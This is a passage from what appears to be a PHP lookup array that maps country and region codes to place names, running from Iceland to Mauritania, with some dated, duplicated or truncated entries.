'--IS' => '','-IS' =>
'Iceland',
'IS-01' => 'Iceland: Akranes',
'IS-02' => 'Iceland: Akureyri',
'IS-03' => 'Iceland: Arnessysla',
'IS-04' => 'Iceland: Austur-Bardastrandarsysla',
'IS-05' => 'Iceland: Austur-Hunavatnssysla',
'IS-06' => 'Iceland: Austur-Skaftafellssysla',
'IS-07' => 'Iceland: Borgarfjardarsysla',
'IS-08' => 'Iceland: Dalasysla',
'IS-09' => 'Iceland: Eyjafjardarsysla',
'IS-10' => 'Iceland: Gullbringusysla',
'IS-11' => 'Iceland: Hafnarfjordur',
'IS-12' => 'Iceland: Husavik',
'IS-13' => 'Iceland: Isafjordur',
'IS-14' => 'Iceland: Keflavik',
'IS-15' => 'Iceland: Kjosarsysla',
'IS-16' => 'Iceland: Kopavogur',
'IS-17' => 'Iceland: Myrasysla',
'IS-18' => 'Iceland: Neskaupstadur',
'IS-19' => 'Iceland: Nordur-Isafjardarsysla',
'IS-20' => 'Iceland: Nordur-Mulasysla',
'IS-21' => 'Iceland: Nordur-Tingeyjarsysla',
'IS-22' => 'Iceland: Olafsfjordur',
'IS-23' => 'Iceland: Rangarvallasysla',
'IS-24' => 'Iceland: Reykjavik',
'IS-25' => 'Iceland: Saudarkrokur',
'IS-26' => 'Iceland: Seydisfjordur',
'IS-27' => 'Iceland: Siglufjordur',
'IS-28' => 'Iceland: Skagafjardarsysla',
'IS-29' => 'Iceland: Snafellsnes- og
Hnappadalssysla',
'IS-30' => 'Iceland: Strandasysla',
'IS-31' => 'Iceland: Sudur-Mulasysla',
'IS-32' => 'Iceland: Sudur-Tingeyjarsysla',
'IS-33' => 'Iceland: Vestmannaeyjar',
'IS-34' => 'Iceland: Vestur-Bardastrandarsysla',
'IS-35' => 'Iceland: Vestur-Hunavatnssysla',
'IS-36' => 'Iceland: Vestur-Isafjardarsysla',
'IS-37' => 'Iceland: Vestur-Skaftafellssysla',
'--IN' => '','-IN' =>
'India',
'IN-01' => 'India: Andaman and Nicobar Islands',
'IN-02' => 'India: Andhra Pradesh',
'IN-30' => 'India: Arunachal Pradesh',
'IN-03' => 'India: Assam',
'IN-34' => 'India: Bihar',
'IN-05' => 'India: Chandigarh',
'IN-37' => 'India: Chhattisgarh',
'IN-06' => 'India: Dadra and Nagar Haveli',
'IN-32' => 'India: Daman and Diu',
'IN-07' => 'India: Delhi',
'IN-33' => 'India: Goa',
'IN-09' => 'India: Gujarat',
'IN-10' => 'India: Haryana',
'IN-11' => 'India: Himachal Pradesh',
'IN-12' => 'India: Jammu and Kashmir',
'IN-38' => 'India: Jharkhand',
'IN-19' => 'India: Karnataka',
'IN-13' => 'India: Kerala',
'IN-14' => 'India: Lakshadweep',
'IN-35' => 'India: Madhya Pradesh',
'IN-16' => 'India: Maharashtra',
'IN-17' => 'India: Manipur',
'IN-18' => 'India: Meghalaya',
'IN-31' => 'India: Mizoram',
'IN-20' => 'India: Nagaland',
'IN-21' => 'India: Orissa',
'IN-22' => 'India: Pondicherry',
'IN-23' => 'India: Punjab',
'IN-24' => 'India: Rajasthan',
'IN-29' => 'India: Sikkim',
'IN-25' => 'India: Tamil Nadu',
'IN-26' => 'India: Tripura',
'IN-36' => 'India: Uttar Pradesh',
'IN-39' => 'India: Uttaranchal',
'IN-28' => 'India: West Bengal',
'--ID' => '','-ID' =>
'Indonesia',
'ID-01' => 'Indonesia: Aceh',
'ID-02' => 'Indonesia: Bali',
'ID-33' => 'Indonesia: Banten',
'ID-03' => 'Indonesia: Bengkulu',
'ID-34' => 'Indonesia: Gorontalo',
'ID-04' => 'Indonesia: Jakarta Raya',
'ID-05' => 'Indonesia: Jambi',
'ID-30' => 'Indonesia: Jawa Barat',
'ID-07' => 'Indonesia: Jawa Tengah',
'ID-08' => 'Indonesia: Jawa Timur',
'ID-11' => 'Indonesia: Kalimantan Barat',
'ID-12' => 'Indonesia: Kalimantan Selatan',
'ID-13' => 'Indonesia: Kalimantan Tengah',
'ID-14' => 'Indonesia: Kalimantan Timur',
'ID-35' => 'Indonesia: Kepulauan Bangka Belitung',
'ID-15' => 'Indonesia: Lampung',
'ID-29' => 'Indonesia: Maluku Utara',
'ID-28' => 'Indonesia: Maluku',
'ID-17' => 'Indonesia: Nusa Tenggara Barat',
'ID-18' => 'Indonesia: Nusa Tenggara Timur',
'ID-09' => 'Indonesia: Papua',
'ID-19' => 'Indonesia: Riau',
'ID-20' => 'Indonesia: Sulawesi Selatan',
'ID-21' => 'Indonesia: Sulawesi Tengah',
'ID-22' => 'Indonesia: Sulawesi Tenggara',
'ID-31' => 'Indonesia: Sulawesi Utara',
'ID-24' => 'Indonesia: Sumatera Barat',
'ID-25' => 'Indonesia: Sumatera Selatan',
'ID-32' => 'Indonesia: Sumatera Selatan',
'ID-26' => 'Indonesia: Sumatera Utara',
'ID-10' => 'Indonesia: Yogyakarta',
'--IR' => '','-IR' => 'Iran',
'IR-32' => 'Iran: Ardabil',
'IR-01' => 'Iran: Azarbayjan-e Bakhtari',
'IR-02' => 'Iran: Azarbayjan-e Khavari',
'IR-13' => 'Iran: Bakhtaran',
'IR-22' => 'Iran: Bushehr',
'IR-03' => 'Iran: Chahar Mahall va Bakhtiari',
'IR-28' => 'Iran: Esfahan',
'IR-07' => 'Iran: Fars',
'IR-08' => 'Iran: Gilan',
'IR-37' => 'Iran: Golestan',
'IR-09' => 'Iran: Hamadan',
'IR-11' => 'Iran: Hormozgan',
'IR-10' => 'Iran: Ilam',
'IR-29' => 'Iran: Kerman',
'IR-30' => 'Iran: Khorasan',
'IR-15' => 'Iran: Khuzestan',
'IR-05' => 'Iran: Kohkiluyeh va Buyer Ahmadi',
'IR-16' => 'Iran: Kordestan',
'IR-23' => 'Iran: Lorestan',
'IR-34' => 'Iran: Markazi',
'IR-35' => 'Iran: Mazandaran',
'IR-38' => 'Iran: Qazvin',
'IR-39' => 'Iran: Qom',
'IR-25' => 'Iran: Semnan',
'IR-04' => 'Iran: Sistan va Baluchestan',
'IR-26' => 'Iran: Tehran',
'IR-31' => 'Iran: Yazd',
'IR-36' => 'Iran: Zanjan',
'--IQ' => '','-IQ' => 'Iraq',
'IQ-01' => 'Iraq: Al Anbar',
'IQ-02' => 'Iraq: Al Basrah',
'IQ-03' => 'Iraq: Al Muthanna',
'IQ-04' => 'Iraq: Al Qadisiyah',
'IQ-17' => 'Iraq: An Najaf',
'IQ-11' => 'Iraq: Arbil',
'IQ-05' => 'Iraq: As Sulaymaniyah',
'IQ-13' => 'Iraq: At Ta\'mim',
'IQ-06' => 'Iraq: Babil',
'IQ-07' => 'Iraq: Baghdad',
'IQ-08' => 'Iraq: Dahuk',
'IQ-09' => 'Iraq: Dhi Qar',
'IQ-10' => 'Iraq: Diyala',
'IQ-12' => 'Iraq: Karbala\'',
'IQ-14' => 'Iraq: Maysan',
'IQ-15' => 'Iraq: Ninawa',
'IQ-18' => 'Iraq: Salah ad Din',
'IQ-16' => 'Iraq: Wasit',
'--IE' => '','-IE' =>
'Ireland',
'IE-01' => 'Ireland: Carlow',
'IE-02' => 'Ireland: Cavan',
'IE-03' => 'Ireland: Clare',
'IE-04' => 'Ireland: Cork',
'IE-06' => 'Ireland: Donegal',
'IE-07' => 'Ireland: Dublin',
'IE-10' => 'Ireland: Galway',
'IE-11' => 'Ireland: Kerry',
'IE-12' => 'Ireland: Kildare',
'IE-13' => 'Ireland: Kilkenny',
'IE-15' => 'Ireland: Laois',
'IE-14' => 'Ireland: Leitrim',
'IE-16' => 'Ireland: Limerick',
'IE-18' => 'Ireland: Longford',
'IE-19' => 'Ireland: Louth',
'IE-20' => 'Ireland: Mayo',
'IE-21' => 'Ireland: Meath',
'IE-22' => 'Ireland: Monaghan',
'IE-23' => 'Ireland: Offaly',
'IE-24' => 'Ireland: Roscommon',
'IE-25' => 'Ireland: Sligo',
'IE-26' => 'Ireland: Tipperary',
'IE-27' => 'Ireland: Waterford',
'IE-29' => 'Ireland: Westmeath',
'IE-30' => 'Ireland: Wexford',
'IE-31' => 'Ireland: Wicklow',
'--IL' => '','-IL' =>
'Israel',
'IL-01' => 'Israel: HaDarom',
'IL-02' => 'Israel: HaMerkaz',
'IL-03' => 'Israel: HaZafon',
'IL-04' => 'Israel: Hefa',
'IL-05' => 'Israel: Tel Aviv',
'IL-06' => 'Israel: Yerushalayim',
'--IT' => '','-IT' =>
'Italy',
'IT-01' => 'Italy: Abruzzi',
'IT-02' => 'Italy: Basilicata',
'IT-03' => 'Italy: Calabria',
'IT-04' => 'Italy: Campania',
'IT-05' => 'Italy: Emilia-Romagna',
'IT-06' => 'Italy: Friuli-Venezia Giulia',
'IT-07' => 'Italy: Lazio',
'IT-08' => 'Italy: Liguria',
'IT-09' => 'Italy: Lombardia',
'IT-10' => 'Italy: Marche',
'IT-11' => 'Italy: Molise',
'IT-12' => 'Italy: Piemonte',
'IT-13' => 'Italy: Puglia',
'IT-14' => 'Italy: Sardegna',
'IT-15' => 'Italy: Sicilia',
'IT-16' => 'Italy: Toscana',
'IT-17' => 'Italy: Trentino-Alto Adige',
'IT-18' => 'Italy: Umbria',
'IT-19' => 'Italy: Valle d\'Aosta',
'IT-20' => 'Italy: Veneto',
'--JM' => '','-JM' =>
'Jamaica',
'JM-01' => 'Jamaica: Clarendon',
'JM-02' => 'Jamaica: Hanover',
'JM-17' => 'Jamaica: Kingston',
'JM-04' => 'Jamaica: Manchester',
'JM-07' => 'Jamaica: Portland',
'JM-08' => 'Jamaica: Saint Andrew',
'JM-09' => 'Jamaica: Saint Ann',
'JM-10' => 'Jamaica: Saint Catherine',
'JM-11' => 'Jamaica: Saint Elizabeth',
'JM-12' => 'Jamaica: Saint James',
'JM-13' => 'Jamaica: Saint Mary',
'JM-14' => 'Jamaica: Saint Thomas',
'JM-15' => 'Jamaica: Trelawny',
'JM-16' => 'Jamaica: Westmoreland',
'--JP' => '','-JP' =>
'Japan',
'JP-01' => 'Japan: Aichi',
'JP-02' => 'Japan: Akita',
'JP-03' => 'Japan: Aomori',
'JP-04' => 'Japan: Chiba',
'JP-05' => 'Japan: Ehime',
'JP-06' => 'Japan: Fukui',
'JP-07' => 'Japan: Fukuoka',
'JP-08' => 'Japan: Fukushima',
'JP-09' => 'Japan: Gifu',
'JP-10' => 'Japan: Gumma',
'JP-11' => 'Japan: Hiroshima',
'JP-12' => 'Japan: Hokkaido',
'JP-13' => 'Japan: Hyogo',
'JP-14' => 'Japan: Ibaraki',
'JP-15' => 'Japan: Ishikawa',
'JP-16' => 'Japan: Iwate',
'JP-17' => 'Japan: Kagawa',
'JP-18' => 'Japan: Kagoshima',
'JP-19' => 'Japan: Kanagawa',
'JP-20' => 'Japan: Kochi',
'JP-21' => 'Japan: Kumamoto',
'JP-22' => 'Japan: Kyoto',
'JP-23' => 'Japan: Mie',
'JP-24' => 'Japan: Miyagi',
'JP-25' => 'Japan: Miyazaki',
'JP-26' => 'Japan: Nagano',
'JP-27' => 'Japan: Nagasaki',
'JP-28' => 'Japan: Nara',
'JP-29' => 'Japan: Niigata',
'JP-30' => 'Japan: Oita',
'JP-31' => 'Japan: Okayama',
'JP-47' => 'Japan: Okinawa',
'JP-32' => 'Japan: Osaka',
'JP-33' => 'Japan: Saga',
'JP-34' => 'Japan: Saitama',
'JP-35' => 'Japan: Shiga',
'JP-36' => 'Japan: Shimane',
'JP-37' => 'Japan: Shizuoka',
'JP-38' => 'Japan: Tochigi',
'JP-39' => 'Japan: Tokushima',
'JP-40' => 'Japan: Tokyo',
'JP-41' => 'Japan: Tottori',
'JP-42' => 'Japan: Toyama',
'JP-43' => 'Japan: Wakayama',
'JP-44' => 'Japan: Yamagata',
'JP-45' => 'Japan: Yamaguchi',
'JP-46' => 'Japan: Yamanashi',
'--JO' => '','-JO' =>
'Jordan',
'JO-02' => 'Jordan: Al Balqa\'',
'JO-09' => 'Jordan: Al Karak',
'JO-10' => 'Jordan: Al Mafraq',
'JO-16' => 'Jordan: Amman',
'JO-12' => 'Jordan: At Tafilah',
'JO-13' => 'Jordan: Az Zarqa',
'JO-14' => 'Jordan: Irbid',
'JO-07' => 'Jordan: Ma',
'--KZ' => '','-KZ' =>
'Kazakhstan',
'KZ-02' => 'Kazakhstan: Almaty City',
'KZ-01' => 'Kazakhstan: Almaty',
'KZ-03' => 'Kazakhstan: Aqmola',
'KZ-04' => 'Kazakhstan: Aqt?be',
'KZ-05' => 'Kazakhstan: Astana',
'KZ-06' => 'Kazakhstan: Atyrau',
'KZ-08' => 'Kazakhstan: Bayqonyr',
'KZ-15' => 'Kazakhstan: East Kazakhstan',
'KZ-09' => 'Kazakhstan: Mangghystau',
'KZ-16' => 'Kazakhstan: North Kazakhstan',
'KZ-11' => 'Kazakhstan: Pavlodar',
'KZ-12' => 'Kazakhstan: Qaraghandy',
'KZ-13' => 'Kazakhstan: Qostanay',
'KZ-14' => 'Kazakhstan: Qyzylorda',
'KZ-10' => 'Kazakhstan: South Kazakhstan',
'KZ-07' => 'Kazakhstan: West Kazakhstan',
'KZ-17' => 'Kazakhstan: Zhambyl',
'--KE' => '','-KE' =>
'Kenya',
'KE-01' => 'Kenya: Central',
'KE-02' => 'Kenya: Coast',
'KE-03' => 'Kenya: Eastern',
'KE-05' => 'Kenya: Nairobi Area',
'KE-06' => 'Kenya: North-Eastern',
'KE-07' => 'Kenya: Nyanza',
'KE-08' => 'Kenya: Rift Valley',
'KE-09' => 'Kenya: Western',
'--KI' => '','-KI' =>
'Kiribati',
'KI-01' => 'Kiribati: Gilbert Islands',
'KI-02' => 'Kiribati: Line Islands',
'KI-03' => 'Kiribati: Phoenix Islands',
'--KW' => '','-KW' =>
'Kuwait',
'KW-01' => 'Kuwait: Al Ahmadi',
'KW-05' => 'Kuwait: Al Jahra',
'KW-02' => 'Kuwait: Al Kuwayt',
'KW-03' => 'Kuwait: Hawalli',
'--KG' => '','-KG' =>
'Kyrgyzstan',
'KG-09' => 'Kyrgyzstan: Batken',
'KG-01' => 'Kyrgyzstan: Bishkek',
'KG-02' => 'Kyrgyzstan: Chuy',
'KG-03' => 'Kyrgyzstan: Jalal-Abad',
'KG-04' => 'Kyrgyzstan: Naryn',
'KG-08' => 'Kyrgyzstan: Osh',
'KG-06' => 'Kyrgyzstan: Talas',
'KG-07' => 'Kyrgyzstan: Ysyk-Kol',
'--LA' => '','-LA' => 'Lao',
'LA-01' => 'Lao: Attapu',
'LA-02' => 'Lao: Champasak',
'LA-03' => 'Lao: Houaphan',
'LA-04' => 'Lao: Khammouan',
'LA-05' => 'Lao: Louang Namtha',
'LA-17' => 'Lao: Louangphrabang',
'LA-07' => 'Lao: Oudomxai',
'LA-08' => 'Lao: Phongsali',
'LA-09' => 'Lao: Saravan',
'LA-10' => 'Lao: Savannakhet',
'LA-11' => 'Lao: Vientiane',
'LA-13' => 'Lao: Xaignabouri',
'LA-14' => 'Lao: Xiangkhoang',
'--LV' => '','-LV' =>
'Latvia',
'LV-01' => 'Latvia: Aizkraukles',
'LV-02' => 'Latvia: Aluksnes',
'LV-03' => 'Latvia: Balvu',
'LV-04' => 'Latvia: Bauskas',
'LV-05' => 'Latvia: Césu',
'LV-06' => 'Latvia: Daugavpils',
'LV-07' => 'Latvia: Daugavpils',
'LV-08' => 'Latvia: Dobeles',
'LV-09' => 'Latvia: Gulbenes',
'LV-10' => 'Latvia: Jékabpils',
'LV-11' => 'Latvia: Jelgava',
'LV-12' => 'Latvia: Jelgavas',
'LV-13' => 'Latvia: Jurmala',
'LV-14' => 'Latvia: Kráslavas',
'LV-15' => 'Latvia: Kuldigas',
'LV-16' => 'Latvia: Liepája',
'LV-17' => 'Latvia: Liepájas',
'LV-18' => 'Latvia: Limbazu',
'LV-19' => 'Latvia: Ludzas',
'LV-20' => 'Latvia: Madonas',
'LV-21' => 'Latvia: Ogres',
'LV-22' => 'Latvia: Preilu',
'LV-23' => 'Latvia: Rézekne',
'LV-24' => 'Latvia: Rézeknes',
'LV-25' => 'Latvia: Riga',
'LV-26' => 'Latvia: Rigas',
'LV-27' => 'Latvia: Saldus',
'LV-28' => 'Latvia: Talsu',
'LV-29' => 'Latvia: Tukuma',
'LV-30' => 'Latvia: Valkas',
'LV-31' => 'Latvia: Valmieras',
'LV-32' => 'Latvia: Ventspils',
'LV-33' => 'Latvia: Ventspils',
'--LB' => '','-LB' =>
'Lebanon',
'LB-01' => 'Lebanon: Beqaa',
'LB-04' => 'Lebanon: Beyrouth',
'LB-03' => 'Lebanon: Liban-Nord',
'LB-06' => 'Lebanon: Liban-Sud',
'LB-05' => 'Lebanon: Mont-Liban',
'LB-07' => 'Lebanon: Nabatiye',
'--LS' => '','-LS' =>
'Lesotho',
'LS-10' => 'Lesotho: Berea',
'LS-11' => 'Lesotho: Butha-Buthe',
'LS-12' => 'Lesotho: Leribe',
'LS-13' => 'Lesotho: Mafeteng',
'LS-14' => 'Lesotho: Maseru',
'LS-15' => 'Lesotho: Mohales Hoek',
'LS-16' => 'Lesotho: Mokhotlong',
'LS-17' => 'Lesotho: Qachas Nek',
'LS-18' => 'Lesotho: Quthing',
'LS-19' => 'Lesotho: Thaba-Tseka',
'--LR' => '','-LR' =>
'Liberia',
'LR-01' => 'Liberia: Bong',
'LR-11' => 'Liberia: Grand Bassa',
'LR-04' => 'Liberia: Grand Cape Mount',
'LR-02' => 'Liberia: Grand Jide',
'LR-05' => 'Liberia: Lofa',
'LR-06' => 'Liberia: Maryland',
'LR-07' => 'Liberia: Monrovia',
'LR-14' => 'Liberia: Montserrado',
'LR-09' => 'Liberia: Nimba',
'LR-10' => 'Liberia: Sino',
'--LY' => '','-LY' => 'Libyan Arab
Jamahiriya',
'LY-47' => 'Libyan Arab Jamahiriya: Ajdabiya',
'LY-48' => 'Libyan Arab Jamahiriya: Al Fatih',
'LY-49' => 'Libyan Arab Jamahiriya: Al Jabal al
Akhdar',
'LY-05' => 'Libyan Arab Jamahiriya: Al Jufrah',
'LY-50' => 'Libyan Arab Jamahiriya: Al Khums',
'LY-08' => 'Libyan Arab Jamahiriya: Al Kufrah',
'LY-03' => 'Libyan Arab Jamahiriya: Al',
'LY-51' => 'Libyan Arab Jamahiriya: An Nuqat al
Khams',
'LY-13' => 'Libyan Arab Jamahiriya: Ash
Shati\'',
'LY-52' => 'Libyan Arab Jamahiriya: Awbari',
'LY-53' => 'Libyan Arab Jamahiriya: Az Zawiyah',
'LY-54' => 'Libyan Arab Jamahiriya: Banghazi',
'LY-55' => 'Libyan Arab Jamahiriya: Darnah',
'LY-56' => 'Libyan Arab Jamahiriya: Ghadamis',
'LY-57' => 'Libyan Arab Jamahiriya: Gharyan',
'LY-58' => 'Libyan Arab Jamahiriya: Misratah',
'LY-30' => 'Libyan Arab Jamahiriya: Murzuq',
'LY-34' => 'Libyan Arab Jamahiriya: Sabha',
'LY-59' => 'Libyan Arab Jamahiriya: Sawfajjin',
'LY-60' => 'Libyan Arab Jamahiriya: Surt',
'LY-61' => 'Libyan Arab Jamahiriya: Tarabulus',
'LY-41' => 'Libyan Arab Jamahiriya: Tarhunah',
'LY-42' => 'Libyan Arab Jamahiriya: Tubruq',
'LY-62' => 'Libyan Arab Jamahiriya: Yafran',
'LY-45' => 'Libyan Arab Jamahiriya: Zlitan',
'--LI' => '','-LI' =>
'Liechtenstein',
'LI-01' => 'Liechtenstein: Balzers',
'LI-02' => 'Liechtenstein: Eschen',
'LI-03' => 'Liechtenstein: Gamprin',
'LI-04' => 'Liechtenstein: Mauren',
'LI-05' => 'Liechtenstein: Planken',
'LI-06' => 'Liechtenstein: Ruggell',
'LI-07' => 'Liechtenstein: Schaan',
'LI-08' => 'Liechtenstein: Schellenberg',
'LI-09' => 'Liechtenstein: Triesen',
'LI-10' => 'Liechtenstein: Triesenberg',
'LI-11' => 'Liechtenstein: Vaduz',
'--LT' => '','-LT' =>
'Lithuania',
'LT-56' => 'Lithuania: Alytaus Apskritis',
'LT-57' => 'Lithuania: Kauno Apskritis',
'LT-58' => 'Lithuania: Klaipedos Apskritis',
'LT-59' => 'Lithuania: Marijampoles Apskritis',
'LT-60' => 'Lithuania: Panevezio Apskritis',
'LT-61' => 'Lithuania: Siauliu Apskritis',
'LT-62' => 'Lithuania: Taurages Apskritis',
'LT-63' => 'Lithuania: Telsiu Apskritis',
'LT-64' => 'Lithuania: Utenos Apskritis',
'LT-65' => 'Lithuania: Vilniaus Apskritis',
'--LU' => '','-LU' =>
'Luxembourg',
'LU-01' => 'Luxembourg: Diekirch',
'LU-02' => 'Luxembourg: Grevenmacher',
'LU-03' => 'Luxembourg: Luxembourg',
'--MO' => '','-MO' =>
'Macau',
'MO-01' => 'Macau: Ilhas',
'MO-02' => 'Macau: Macau',
'--MK' => '','-MK' =>
'Macedonia',
'MK-01' => 'Macedonia: Aracinovo',
'MK-02' => 'Macedonia: Bac',
'MK-03' => 'Macedonia: Belcista',
'MK-04' => 'Macedonia: Berovo',
'MK-05' => 'Macedonia: Bistrica',
'MK-06' => 'Macedonia: Bitola',
'MK-07' => 'Macedonia: Blatec',
'MK-08' => 'Macedonia: Bogdanci',
'MK-09' => 'Macedonia: Bogomila',
'MK-10' => 'Macedonia: Bogovinje',
'MK-11' => 'Macedonia: Bosilovo',
'MK-12' => 'Macedonia: Brvenica',
'MK-13' => 'Macedonia: Cair',
'MK-14' => 'Macedonia: Capari',
'MK-15' => 'Macedonia: Caska',
'MK-16' => 'Macedonia: Cegrane',
'MK-18' => 'Macedonia: Centar Zupa',
'MK-17' => 'Macedonia: Centar',
'MK-19' => 'Macedonia: Cesinovo',
'MK-20' => 'Macedonia: Cucer-Sandevo',
'MK-21' => 'Macedonia: Debar',
'MK-22' => 'Macedonia: Delcevo',
'MK-23' => 'Macedonia: Delogozdi',
'MK-24' => 'Macedonia: Demir Hisar',
'MK-25' => 'Macedonia: Demir Kapija',
'MK-26' => 'Macedonia: Dobrusevo',
'MK-27' => 'Macedonia: Dolna Banjica',
'MK-28' => 'Macedonia: Dolneni',
'MK-29' => 'Macedonia: Dorce Petrov',
'MK-30' => 'Macedonia: Drugovo',
'MK-31' => 'Macedonia: Dzepciste',
'MK-32' => 'Macedonia: Gazi Baba',
'MK-33' => 'Macedonia: Gevgelija',
'MK-34' => 'Macedonia: Gostivar',
'MK-35' => 'Macedonia: Gradsko',
'MK-36' => 'Macedonia: Ilinden',
'MK-37' => 'Macedonia: Izvor',
'MK-38' => 'Macedonia: Jegunovce',
'MK-39' => 'Macedonia: Kamenjane',
'MK-40' => 'Macedonia: Karbinci',
'MK-41' => 'Macedonia: Karpos',
'MK-42' => 'Macedonia: Kavadarci',
'MK-43' => 'Macedonia: Kicevo',
'MK-44' => 'Macedonia: Kisela Voda',
'MK-45' => 'Macedonia: Klecevce',
'MK-46' => 'Macedonia: Kocani',
'MK-47' => 'Macedonia: Konce',
'MK-48' => 'Macedonia: Kondovo',
'MK-49' => 'Macedonia: Konopiste',
'MK-50' => 'Macedonia: Kosel',
'MK-51' => 'Macedonia: Kratovo',
'MK-52' => 'Macedonia: Kriva Palanka',
'MK-53' => 'Macedonia: Krivogastani',
'MK-54' => 'Macedonia: Krusevo',
'MK-55' => 'Macedonia: Kuklis',
'MK-56' => 'Macedonia: Kukurecani',
'MK-57' => 'Macedonia: Kumanovo',
'MK-58' => 'Macedonia: Labunista',
'MK-59' => 'Macedonia: Lipkovo',
'MK-60' => 'Macedonia: Lozovo',
'MK-61' => 'Macedonia: Lukovo',
'MK-62' => 'Macedonia: Makedonska Kamenica',
'MK-63' => 'Macedonia: Makedonski Brod',
'MK-64' => 'Macedonia: Mavrovi Anovi',
'MK-65' => 'Macedonia: Meseista',
'MK-66' => 'Macedonia: Miravci',
'MK-67' => 'Macedonia: Mogila',
'MK-68' => 'Macedonia: Murtino',
'MK-69' => 'Macedonia: Negotino',
'MK-70' => 'Macedonia: Negotino-Polosko',
'MK-71' => 'Macedonia: Novaci',
'MK-72' => 'Macedonia: Novo Selo',
'MK-73' => 'Macedonia: Oblesevo',
'MK-74' => 'Macedonia: Ohrid',
'MK-75' => 'Macedonia: Orasac',
'MK-76' => 'Macedonia: Orizari',
'MK-77' => 'Macedonia: Oslomej',
'MK-78' => 'Macedonia: Pehcevo',
'MK-79' => 'Macedonia: Petrovec',
'MK-80' => 'Macedonia: Plasnica',
'MK-81' => 'Macedonia: Podares',
'MK-82' => 'Macedonia: Prilep',
'MK-83' => 'Macedonia: Probistip',
'MK-84' => 'Macedonia: Radovis',
'MK-85' => 'Macedonia: Rankovce',
'MK-86' => 'Macedonia: Resen',
'MK-87' => 'Macedonia: Rosoman',
'MK-88' => 'Macedonia: Rostusa',
'MK-89' => 'Macedonia: Samokov',
'MK-90' => 'Macedonia: Saraj',
'MK-91' => 'Macedonia: Sipkovica',
'MK-92' => 'Macedonia: Sopiste',
'MK-93' => 'Macedonia: Sopotnica',
'MK-94' => 'Macedonia: Srbinovo',
'MK-96' => 'Macedonia: Star Dojran',
'MK-95' => 'Macedonia: Staravina',
'MK-97' => 'Macedonia: Staro Nagoricane',
'MK-98' => 'Macedonia: Stip',
'MK-99' => 'Macedonia: Struga',
'MK-A1' => 'Macedonia: Strumica',
'MK-A2' => 'Macedonia: Studenicani',
'MK-A3' => 'Macedonia: Suto Orizari',
'MK-A4' => 'Macedonia: Sveti Nikole',
'MK-A5' => 'Macedonia: Tearce',
'MK-A6' => 'Macedonia: Tetovo',
'MK-A7' => 'Macedonia: Topolcani',
'MK-A8' => 'Macedonia: Valandovo',
'MK-A9' => 'Macedonia: Vasilevo',
'MK-B1' => 'Macedonia: Veles',
'MK-B2' => 'Macedonia: Velesta',
'MK-B3' => 'Macedonia: Vevcani',
'MK-B4' => 'Macedonia: Vinica',
'MK-B5' => 'Macedonia: Vitoliste',
'MK-B6' => 'Macedonia: Vranestica',
'MK-B7' => 'Macedonia: Vrapciste',
'MK-B8' => 'Macedonia: Vratnica',
'MK-B9' => 'Macedonia: Vrutok',
'MK-C1' => 'Macedonia: Zajas',
'MK-C2' => 'Macedonia: Zelenikovo',
'MK-C3' => 'Macedonia: Zelino',
'MK-C4' => 'Macedonia: Zitose',
'MK-C5' => 'Macedonia: Zletovo',
'MK-C6' => 'Macedonia: Zrnovci',
'--MG' => '','-MG' =>
'Madagascar',
'MG-05' => 'Madagascar: Antananarivo',
'MG-01' => 'Madagascar: Antsiranana',
'MG-02' => 'Madagascar: Fianarantsoa',
'MG-03' => 'Madagascar: Mahajanga',
'MG-04' => 'Madagascar: Toamasina',
'MG-06' => 'Madagascar: Toliara',
'--MW' => '','-MW' =>
'Malawi',
'MW-26' => 'Malawi: Balaka',
'MW-24' => 'Malawi: Blantyre',
'MW-02' => 'Malawi: Chikwawa',
'MW-03' => 'Malawi: Chiradzulu',
'MW-04' => 'Malawi: Chitipa',
'MW-06' => 'Malawi: Dedza',
'MW-07' => 'Malawi: Dowa',
'MW-08' => 'Malawi: Karonga',
'MW-09' => 'Malawi: Kasungu',
'MW-27' => 'Malawi: Likoma',
'MW-11' => 'Malawi: Lilongwe',
'MW-28' => 'Malawi: Machinga',
'MW-12' => 'Malawi: Mangochi',
'MW-13' => 'Malawi: Mchinji',
'MW-29' => 'Malawi: Mulanje',
'MW-25' => 'Malawi: Mwanza',
'MW-15' => 'Malawi: Mzimba',
'MW-17' => 'Malawi: Nkhata Bay',
'MW-18' => 'Malawi: Nkhotakota',
'MW-19' => 'Malawi: Nsanje',
'MW-16' => 'Malawi: Ntcheu',
'MW-20' => 'Malawi: Ntchisi',
'MW-30' => 'Malawi: Phalombe',
'MW-21' => 'Malawi: Rumphi',
'MW-22' => 'Malawi: Salima',
'MW-05' => 'Malawi: Thyolo',
'MW-23' => 'Malawi: Zomba',
'--MY' => '','-MY' =>
'Malaysia',
'MY-01' => 'Malaysia: Johor',
'MY-02' => 'Malaysia: Kedah',
'MY-03' => 'Malaysia: Kelantan',
'MY-15' => 'Malaysia: Labuan',
'MY-04' => 'Malaysia: Melaka',
'MY-05' => 'Malaysia: Negeri Sembilan',
'MY-06' => 'Malaysia: Pahang',
'MY-07' => 'Malaysia: Perak',
'MY-08' => 'Malaysia: Perlis',
'MY-09' => 'Malaysia: Pulau Pinang',
'MY-16' => 'Malaysia: Sabah',
'MY-11' => 'Malaysia: Sarawak',
'MY-12' => 'Malaysia: Selangor',
'MY-13' => 'Malaysia: Terengganu',
'MY-14' => 'Malaysia: Wilayah Persekutuan',
'--MV' => '','-MV' =>
'Maldives',
'MV-02' => 'Maldives: Aliff',
'MV-20' => 'Maldives: Baa',
'MV-17' => 'Maldives: Daalu',
'MV-14' => 'Maldives: Faafu',
'MV-27' => 'Maldives: Gaafu Aliff',
'MV-28' => 'Maldives: Gaafu Daalu',
'MV-07' => 'Maldives: Haa Aliff',
'MV-23' => 'Maldives: Haa Daalu',
'MV-26' => 'Maldives: Kaafu',
'MV-05' => 'Maldives: Laamu',
'MV-03' => 'Maldives: Laviyani',
'MV-12' => 'Maldives: Meemu',
'MV-29' => 'Maldives: Naviyani',
'MV-25' => 'Maldives: Noonu',
'MV-13' => 'Maldives: Raa',
'MV-01' => 'Maldives: Seenu',
'MV-24' => 'Maldives: Shaviyani',
'MV-08' => 'Maldives: Thaa',
'MV-04' => 'Maldives: Waavu',
'--ML' => '','-ML' => 'Mali',
'ML-01' => 'Mali: Bamako',
'ML-09' => 'Mali: Gao',
'ML-03' => 'Mali: Kayes',
'ML-10' => 'Mali: Kidal',
'ML-07' => 'Mali: Koulikoro',
'ML-04' => 'Mali: Mopti',
'ML-05' => 'Mali: Segou',
'ML-06' => 'Mali: Sikasso',
'ML-08' => 'Mali: Tombouctou',
'--MR' => '','-MR' =>
'Mauritania',
'MR-07' => 'Mauritania: Adrar',
'MR-03' => 'Mauritania: Assaba',
